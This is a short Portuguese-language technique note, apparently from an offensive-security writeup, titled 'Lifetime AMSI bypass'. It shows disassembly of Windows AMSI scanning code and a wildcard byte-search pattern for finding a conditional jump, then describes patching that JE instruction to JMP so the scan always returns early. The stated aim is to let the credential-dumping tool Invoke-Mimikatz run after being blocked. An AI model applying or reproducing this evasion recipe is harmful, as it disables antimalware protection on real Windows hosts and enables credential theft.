
Lifetime AMSI bypass
obtemos o endereço exato da instrução de salto procurando pelo primeiro byte de cada instrução; essa técnica é eficaz mesmo diante de atualizações ou modificações no conjunto de dados alvo.
por exemplo:
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
o padrão de busca será assim:
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

O programa testa o valor de RDX contra ele mesmo. Se a comparação resultar em 0, o programa executa um salto para retornar. Caso contrário, o programa prossegue para avaliar a próxima instrução.

não conseguimos executar "Invoke-Mimikatz"

aplicamos patch no primeiro byte e o alteramos de JE para JMP, de modo que ele retorne diretamente


agora executamos "Invoke-Mimikatz"
